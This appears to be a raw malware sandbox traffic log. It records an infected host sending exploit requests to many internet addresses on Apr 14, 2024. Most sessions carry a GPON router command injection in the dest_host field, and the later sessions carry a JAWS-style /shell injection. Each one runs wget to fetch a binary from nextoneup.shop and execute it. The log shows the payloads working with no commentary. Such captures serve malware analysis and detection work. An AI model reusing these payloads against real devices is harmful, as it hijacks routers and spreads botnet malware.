Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.13	49924	117.224.53.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981154919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.13	43468	148.60.71.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981193066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.13	52942	202.126.48.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981214046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.13	56098	117.136.103.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981225014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.13	50448	117.146.88.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981251001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.13	59706	37.126.19.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981266022 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.13	51104	148.77.106.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981267929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.13	60650	202.242.157.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981276989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.13	55598	5.245.219.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981297016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.13	60444	118.139.78.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981316090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.13	38842	79.170.149.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981327057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.13	58286	210.109.179.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981359005 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.13	49660	148.49.68.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981364965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.13	51842	210.249.94.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981368065 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.13	49564	212.157.242.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981391907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.13	49572	94.115.54.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981405020 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.13	49448	210.126.61.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.981427908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.13	55844	34.120.76.126	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.318775892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.633769989 CEST	190	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:45 GMT Server: Apache/2.4.56 (Debian) Content-Length: 271 Content-Type: text/html; charset=iso-8859-1 Via: 1.1 google
Apr 14, 2024 04:00:45.634114027 CEST	283	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.13	45776	85.122.208.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.351450920 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.13	60976	68.182.254.113	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.383975029 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.707088947 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:45 GMT Server: Apache/2.4.38 (Debian) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.13	40478	138.4.80.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.469765902 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.13	40878	95.100.233.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.476526976 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.805010080 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:45 GMT Date: Sun, 14 Apr 2024 02:00:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 39 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 35 26 23 34 36 3b 31 35 39 63 35 63 34 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 39 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 35 26 23 34 36 3b 31 35 39 63 35 63 34 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.597e19b8.1713060045.159c5c4a<P>https://errors.edgesuite.net/9.597e19b8.1713060045.159c5c4a</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.13	53690	23.212.130.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.494615078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.841289997 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:45 GMT Date: Sun, 14 Apr 2024 02:00:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 37 64 63 35 39 32 34 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 35 26 23 34 36 3b 33 33 30 64 63 34 35 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 37 64 63 35 39 32 34 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 35 26 23 34 36 3b 33 33 30 64 63 34 35 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.27dc5924.1713060045.330dc455<P>https://errors.edgesuite.net/9.27dc5924.1713060045.330dc455</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.13	54594	94.121.106.130	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.506052017 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
